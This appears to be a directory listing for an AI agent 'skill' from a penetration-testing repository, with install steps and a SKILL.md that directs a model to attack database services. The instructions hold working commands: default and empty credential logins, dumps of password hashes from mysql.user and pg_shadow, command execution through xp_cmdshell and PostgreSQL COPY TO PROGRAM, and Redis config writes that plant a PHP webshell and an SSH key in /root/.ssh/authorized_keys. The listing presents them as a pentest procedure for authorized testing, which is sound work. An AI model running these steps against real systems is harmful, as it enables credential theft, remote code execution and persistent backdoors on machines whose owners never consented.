Database Enumeration logo

Database Enumeration

Organization
blacklanternsecurity
database-enumeration

Database service enumeration and quick-win access checks for MSSQL, MySQL, PostgreSQL, Oracle, MongoDB, and Redis. Checks default/empty passwords, unauthenticated access, and command execution capabilities. Use after network-recon identifies database ports.

Overview

Publisherblacklanternsecurity
Repositoryred-run
Skill namedatabase-enumeration
Stars
276
Forks
39
Bundled files
Instructions only
LicenseGPL-3.0
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by blacklanternsecurity on GitHub. Read the source before you install it.

Installation

Install the Database Enumeration AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git /tmp/red-run
mkdir -p .claude/skills
cp -r /tmp/red-run/skills/network/database-enumeration .claude/skills/database-enumeration
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Database Enumeration in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Database Enumeration on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Database Enumeration is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Database Enumeration

You are helping a penetration tester enumerate database services and check for quick-win access. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If present, print [database-enumeration] Activated → <target> on activation and save significant output to engagement/evidence/ (e.g., mssql-ntlm-info.txt).

Scope Boundary

This skill covers database enumeration and quick-win access checks only.

  • SQL injection → STOP. Return recommending the appropriate web technique skill.
  • Brute force / password spraying → STOP. Return recommending password-spraying.
  • Post-exploitation via database shell → STOP. Return with access gained and creds used.

State Management

Call get_state_summary() on activation. Skip services already enumerated. Leverage any known credentials.

State writes — write critical discoveries immediately:

  • Default/empty credentials → add_credential()
  • Unauthenticated access → add_vuln(severity="high")
  • Command execution (xp_cmdshell, UDF, COPY PROGRAM) → add_vuln(severity="critical")
  • Redis unauthenticated → add_vuln(severity="high")
  • NTLM info leak (domain/hostname) → add_pivot()

Report all findings in your return summary as well (orchestrator deduplicates).

Prerequisites

  • Network access to database ports on the target
  • Target IP and port list (provided by orchestrator)

Query Output Handling

When running database queries via interactive shell sessions (send_command / read_output), large result sets create many round-trip cycles as output arrives incrementally. For queries that may return more than a few rows, redirect output to a file on the target and read it once:

bash
# BAD — inline capture, multiple read_output cycles for large results
mysql -h TARGET -u user -p'pass' -e "SELECT * FROM users;"

# GOOD — write to file, read once
mysql -h TARGET -u user -p'pass' -e "SELECT * FROM users;" > /tmp/db_users.txt 2>&1
wc -l /tmp/db_users.txt  # Check size before reading
cat /tmp/db_users.txt     # Single read

# For very large tables, preview first
mysql -h TARGET -u user -p'pass' -e "SELECT COUNT(*) FROM users;" > /tmp/db_count.txt 2>&1
cat /tmp/db_count.txt
# If >1000 rows, use LIMIT or targeted queries instead of full dump

This applies to all database clients (mysql, psql, mssqlclient.py, mongosh). Clean up temp files when done: rm /tmp/db_*.txt.

Port-Based Execution

The orchestrator passes a port list. Only run sections for ports that are open on the target. Skip all other sections entirely.

Step 1: MSSQL (Port 1433)

bash
nmap -sV -p1433 --script ms-sql-info,ms-sql-config,ms-sql-empty-password,ms-sql-ntlm-info TARGET_IP

# sa empty/default password checks
netexec mssql TARGET_IP -u sa -p '' --local-auth
netexec mssql TARGET_IP -u sa -p 'sa' --local-auth
netexec mssql TARGET_IP -u sa -p 'password' --local-auth

If sa access is gained, check xp_cmdshell:

bash
mssqlclient.py sa:''@TARGET_IP -windows-auth
# In SQL shell: enable_xp_cmdshell / xp_cmdshell whoami

State write: sa creds → add_credential(service="mssql") · NTLM info → add_pivot() · xp_cmdshell → add_vuln(severity="critical")

Step 2: MySQL (Port 3306)

bash
nmap -sV -p3306 --script mysql-info,mysql-enum,mysql-empty-password,mysql-vuln* TARGET_IP

# Root empty password
mysql -h TARGET_IP -u root -p'' -e "SELECT user,host,authentication_string FROM mysql.user;"
mysql -h TARGET_IP -u root -e "SELECT user,host,authentication_string FROM mysql.user;"

If root access is gained, check for command execution:

bash
mysql -h TARGET_IP -u root -p'' -e "SELECT @@plugin_dir; SELECT * FROM mysql.func;"
mysql -h TARGET_IP -u root -p'' -e "SHOW GRANTS FOR CURRENT_USER();"

State write: root creds → add_credential(service="mysql") · UDF/FILE privilege → add_vuln(severity="critical")

Step 3: PostgreSQL (Port 5432)

bash
nmap -sV -p5432 --script pgsql-brute TARGET_IP
psql -h TARGET_IP -U postgres -d postgres -c "SELECT usename, passwd FROM pg_shadow;"

If postgres access is gained:

bash
psql -h TARGET_IP -U postgres -c "SELECT current_setting('is_superuser');"
psql -h TARGET_IP -U postgres -c "COPY (SELECT '') TO PROGRAM 'id';"

State write: postgres creds → add_credential(service="postgresql") · trust auth → add_vuln(severity="high") · COPY PROGRAM → add_vuln(severity="critical")

Step 4: Oracle (Port 1521)

bash
nmap -sV -p1521 --script oracle-sid-brute,oracle-tns-version TARGET_IP
odat sidguesser -s TARGET_IP
odat all -s TARGET_IP -p 1521

Default credentials: SCOTT/TIGER, SYS/CHANGE_ON_INSTALL, SYSTEM/MANAGER.

State write: default creds → add_credential(service="oracle") · DBA access → add_vuln(severity="critical")

Step 5: MongoDB (Port 27017)

bash
nmap -sV -p27017 --script mongodb-info,mongodb-databases TARGET_IP
mongosh --host TARGET_IP --eval "show dbs"
mongosh --host TARGET_IP --eval "db.adminCommand({listDatabases:1})"

State write: unauthenticated access → add_vuln(name="MongoDB unauthenticated access", severity="high")

Step 6: Redis (Port 6379)

bash
nmap -sV -p6379 --script redis-info TARGET_IP
redis-cli -h TARGET_IP info
redis-cli -h TARGET_IP config get dir

If unauthenticated access is confirmed, try RCE via config writes:

bash
# Webshell write (if web root is writable)
redis-cli -h TARGET_IP <<'REDIS'
config set dir /var/www/html/
config set dbfilename shell.php
set payload "<?php system($_GET['cmd']); ?>"
save
REDIS

# SSH key injection (if /root/.ssh/ is writable)
redis-cli -h TARGET_IP <<'REDIS'
config set dir /root/.ssh/
config set dbfilename authorized_keys
set payload "\n\nssh-ed25519 AAAA... attacker@host\n\n"
save
REDIS

# Check SLAVEOF replication for replication-based RCE
redis-cli -h TARGET_IP info replication

State write: unauth access → add_vuln(severity="high") · webshell/SSH key written → add_vuln(severity="critical")

Escalate or Pivot

  • Command execution gained (xp_cmdshell, UDF, COPY PROGRAM, Redis write): STOP. Return with access method, recommend shell establishment.
  • Credentials found, no RCE: STOP. Return credentials for reuse testing.
  • Unauthenticated DB access (MongoDB, Redis): STOP. Return with access details.
  • No access gained: Return versions, SIDs, and configs for orchestrator.

Troubleshooting

Connection refused / filtered

Note the port as filtered and move to the next service.

MySQL authentication plugin errors

Try --default-auth=mysql_native_password for caching_sha2_password errors.

psql: FATAL: no pg_hba.conf entry

PostgreSQL rejects connections from this IP. Note as blocked (not retryable).

odat not installed

Return to orchestrator. Oracle enumeration limited to nmap NSE without odat.

redis-cli NOAUTH

Redis requires auth. Try redis, empty string, password. If all fail, move on.

Frequently asked questions

What does the Database Enumeration AI skill do?

Database service enumeration and quick-win access checks for MSSQL, MySQL, PostgreSQL, Oracle, MongoDB, and Redis. Checks default/empty passwords, unauthenticated access, and command execution capabilities. Use after network-recon identifies database ports.

Why use Database Enumeration on TypingMind?

Because you install it once and use it with any model. Database Enumeration is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Database Enumeration in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/blacklanternsecurity/red-run/tree/main/skills/network/database-enumeration. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Database Enumeration?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Database Enumeration?

As many as you like. As long as a model supports skills, you can use Database Enumeration with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Database Enumeration AI skill free?

Yes. It is published on GitHub by blacklanternsecurity under the GPL-3.0 license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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